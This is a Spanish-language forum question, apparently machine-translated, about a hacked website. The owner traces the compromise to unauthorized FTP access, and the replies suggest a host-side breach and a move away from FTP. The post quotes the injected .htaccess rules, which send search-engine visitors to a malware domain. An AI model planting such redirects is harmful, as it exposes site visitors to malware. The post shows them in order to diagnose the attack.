Diseccionar un ataque al sitio web a través de una cuenta FTP comprometida

Mi sitio ha sido pirateado y, en este punto, conozco algunos detalles, pero no sé exactamente cómo sucedió o cómo prevenirlo en el futuro. Necesito tu ayuda para tratar de diseccionar el ataque para evitar que vuelva a suceder. Esto es un poco largo, pero quiero asegurarme de dar suficiente información para ayudar a resolver el problema.

Esto es lo que pasó.

Hace unas semanas, recibí un correo electrónico de mi empresa de alojamiento, GoDaddy, que decía que mi sitio estaba usando demasiados recursos y que esperaban que una consulta de MySQL fuera la culpable. La consulta en cuestión era una consulta de búsqueda que tenía 5-6 términos. Tal como lo configuré, cuantos más términos buscabas, más compleja se volvió la consulta. No hay problema. Lo arreglé, pero al mismo tiempo, GoDaddy también cerró temporalmente mi cuenta y pasaron alrededor de 3 días antes de que todo volviera a la normalidad.

Después de ese incidente, el tráfico de mi motor de búsqueda cayó dramáticamente, alrededor del 90%. Apestaba, por lo que no pensé en nada, lo descarté en el fiasco de consultas y pensé que volvería a tiempo cuando Google volviera a rastrear el sitio. No lo hizo.

Hace unos días, recibí un correo electrónico de un usuario que decía que mi sitio albergaba malware. Cargué el sitio directamente en mi navegador, pero no vi nada inyectado en la página. Luego revisé mi archivo .htaccess y encontré lo siguiente:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=584 [R,L]
</IfModule>

Lindo. Y un poco tortuoso. Navegar directamente al sitio desde la barra de direcciones o un marcador, lo que suelo hacer, cargaría el sitio normalmente. Rara vez voy a mi sitio a través de un enlace de un motor de búsqueda, por eso el hack no fue detectado mientras lo hizo. El malware tampoco fue alojado directamente en mi sitio.

Una búsqueda rápida mostró que otras personas también estaban teniendo el mismo problema, aunque sospecho que hay muchos más que todavía no lo han detectado. La mayoría de las recomendaciones fueron actualizar a las últimas versiones del software, cambiar contraseñas, etc.

Siendo que uso mi propio sistema de gestión de contenido personalizado y no el omnipresente Wordpress, profundicé un poco más. Escaneé todos mis archivos en busca de las funciones comunes utilizadas en exploits PHP: base64_decode, exec, shell, etc. No apareció nada sospechoso y no hubo archivos adicionales.

Luego revisé el historial del administrador de archivos de GoDaddy y descubrí que el archivo .htaccess se cambió exactamente en la misma fecha en que mi consulta de búsqueda fue acusada de usar demasiados recursos del servidor. Podría ser una desafortunada coincidencia, pero no estoy completamente seguro. La redirección en el archivo .htaccess no parece requerir muchos recursos y la consulta fue lo suficientemente compleja como para que pudiera haber sido intensiva en recursos.

Quería estar seguro de que mi código no era el problema, por lo que verifiqué los registros de tráfico en busca de actividad sospechosa en el momento en que se modificó el archivo .htaccess, pero no vi ninguna actividad GET o POST que pareciera anormal o similar a una intento de pirateo.

Finalmente, solicité los registros FTP de GoDaddy y descubrí que había un acceso FTP no autorizado en el momento en que se cambió el archivo .htaccess. Estaba de vacaciones en ese momento, con mi computadora apagada físicamente y no hay nadie más con credenciales de acceso. Parece que quien haya utilizado FTP usó el usuario FTP principal para la cuenta, pero con una IP de 91.220.0.19, que parece ser de Letonia .

En el alojamiento compartido, parece que GoDaddy asigna automáticamente un nombre de usuario FTP primario según la URL del sitio. Es extremadamente predecible, o al menos, fue cuando configuré mi cuenta de hosting. Me registré por primera vez en la cuenta de hosting hace varios años, por lo que puede haber cambiado, pero por lo que recuerdo, no pude elegir el nombre de usuario FTP principal. Actualmente, tampoco puede cambiar el nombre de usuario y parece que GoDaddy tampoco puede hacerlo, a menos que cancele su cuenta y renuncie. Si bien puede crear, eliminar y editar otros usuarios FTP, el usuario FTP principal no se puede eliminar. Solo se puede cambiar la contraseña.

Con la excepción del nombre de usuario FTP primario, todas las credenciales de acceso para el sitio, la base de datos, el administrador y la cuenta son galimatías, nombres de usuario aleatorios y contraseñas que parecen que su gato caminó en su teclado. Por ejemplo: lkSADf32! $ AsJd3.

He escaneado minuciosamente mi computadora en busca de virus, malware, etc. en caso de que sea el punto débil del enlace, pero no ha aparecido nada. Uso un cortafuegos, un programa antivirus y trato de usar hábitos de navegación seguros.

Cuando actualizo mi sitio, uso Core FTP LE y una conexión SSH / SFTP. La cuenta de alojamiento es una configuración de Linux.

Al hablar con el soporte técnico de GoDaddy, no están seguros de cómo se vio comprometida la contraseña FTP. En el alojamiento compartido, no pueden colocar un bloqueo de IP en el nivel de usuario FTP. Tampoco pueden cambiar el nombre de usuario FTP principal. Cuando pregunté si tenían protección contra la fuerza bruta en torno al acceso FTP, el técnico pareció inseguro al principio, pero luego dijo que sí después de que lo reformulé varias veces. Sin embargo, creo recordar haber hecho la misma pregunta en una llamada anterior y escuchar que GoDaddy no tiene protección de fuerza bruta en el acceso FTP. En este punto, no sé si lo hacen o no.

Cambié todas mis credenciales de acceso en todos los ámbitos y también prohibí la dirección IP de Letonia usando el archivo .htaccess (probablemente no hará una diferencia si están usando FTP), pero todavía no estoy seguro de cómo funciona el FTP la contraseña fue comprometida para empezar.

Estoy bastante seguro de que el problema no fue con mi código (incluso si lo fuera, la información de FTP no debería haber sido expuesta) o con mi computadora. Lo que sospecho, pero no sé cómo demostrarlo, es que la contraseña FTP fue forzada por la fuerza bruta ya que el nombre de usuario era predecible. El ataque de fuerza bruta también podría haber coincidido con el uso de los recursos del servidor (atribuido a mi consulta), pero no sé lo suficiente del lado técnico de los servidores para saber si eso es posible o incluso probable.

Ahora siento que estoy al final de lo que sé qué hacer. Me gustaría poder entender cómo se llevó a cabo el ataque y cómo prevenirlo, por lo que si tiene más ideas sobre vectores de ataque, diagnósticos que se puedan ejecutar o medidas de seguridad adicionales, estaría muy agradecido. Estoy más que dispuesto a cambiar de host o deshacer el hosting compartido, pero quiero asegurarme de evitar que esto vuelva a suceder.

Ayúdame, Obi-Wan Kenobi ...

Algo parecía tan familiar mientras leías tu publicación. Entonces me di cuenta: había visto esto antes, hace más de un mes, cuando intentaba acceder a un sitio para un juego. Vea aquí : el mismo comportamiento, la acción de redireccionamiento realizada solo en los referentes de los motores de búsqueda.

El nombre de dominio en su .htaccessparecía familiar porque el antivirus de mi computadora en casa me había hecho mucho ruido hace semanas.

Y, ¿no lo sabrías, el anfitrión del sitio en el que había observado esto? Ve papi.

No creo que haya sido forzado por la fuerza bruta o que su contraseña se haya visto comprometida por algún error suyo; Creo que GoDaddy fue el comprometido aquí. Y no lo dejaría de lado para almacenar las contraseñas FTP en texto plano. Un poco más de excavación encontró este artículo sugiriendo lo mismo; La protección de la fuerza bruta puede ser el menor de sus problemas.

¡Fácil! No uses FTP. Transmite las credenciales en texto sin formato y transmite todos los datos en texto sin formato. Es una de las formas más inseguras de transferir archivos. Si su host no admite otras formas, busque un nuevo host.